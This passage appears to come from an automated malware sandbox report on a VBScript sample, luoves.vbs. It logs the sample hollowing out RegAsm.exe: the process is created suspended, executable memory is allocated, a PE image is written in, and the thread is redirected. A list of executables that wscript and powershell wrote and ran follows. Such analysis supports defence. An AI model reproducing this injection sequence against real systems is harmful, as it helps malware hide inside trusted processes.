'de' , 'cu'))" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x00000450	1	1
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x00000494 suspend_count: 1 process_identifier: 2628	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000002a4 suspend_count: 1 process_identifier: 2768	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000002f8 suspend_count: 1 process_identifier: 2768	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x0000045c suspend_count: 1 process_identifier: 2768	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x00000584 suspend_count: 1 process_identifier: 2768	1	0
CreateProcessInternalW Oct. 24, 2023, 9:38 a.m.	thread_identifier: 3000 thread_handle: 0x0000033c process_identifier: 2996 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000344	1	1
NtGetContextThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x0000033c	1	0
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2996 region_size: 196608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000344	1	0
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL!; dà0¾¤ @ @l¤OÀFà H.textÄ `.rsrcFÀ@@.relocà@B base_address: 0x00400000 process_identifier: 2996 process_handle: 0x00000344	1	1
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: base_address: 0x00402000 process_identifier: 2996 process_handle: 0x00000344	1	1
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: P8h À¼\Ãê¼4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°StringFileInfoø000004b0,FileDescription 0FileVersion1.0.0.0t)InternalName3c9df946-5a0b-48a2-9626-80817a0ac3af.exe(LegalCopyright \|)OriginalFilename3c9df946-5a0b-48a2-9626-80817a0ac3af.exe4ProductVersion1.0.0.08Assembly Version1.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0042c000 process_identifier: 2996 process_handle: 0x00000344	1	1
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: À4 base_address: 0x0042e000 process_identifier: 2996 process_handle: 0x00000344	1	1
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2996 process_handle: 0x00000344	1	1
NtSetContextThread Oct. 24, 2023, 9:38 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4367550 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000033c process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x0000033c suspend_count: 1 process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000003b8 suspend_count: 1 process_identifier: 2768	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x00000178 suspend_count: 1 process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000001f0 suspend_count: 1 process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x0000022c suspend_count: 1 process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000002d0 suspend_count: 1 process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x00000340 suspend_count: 1 process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000003b4 suspend_count: 1 process_identifier: 2996	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000003f0 suspend_count: 1 process_identifier: 2996	1	0

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

luoves.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All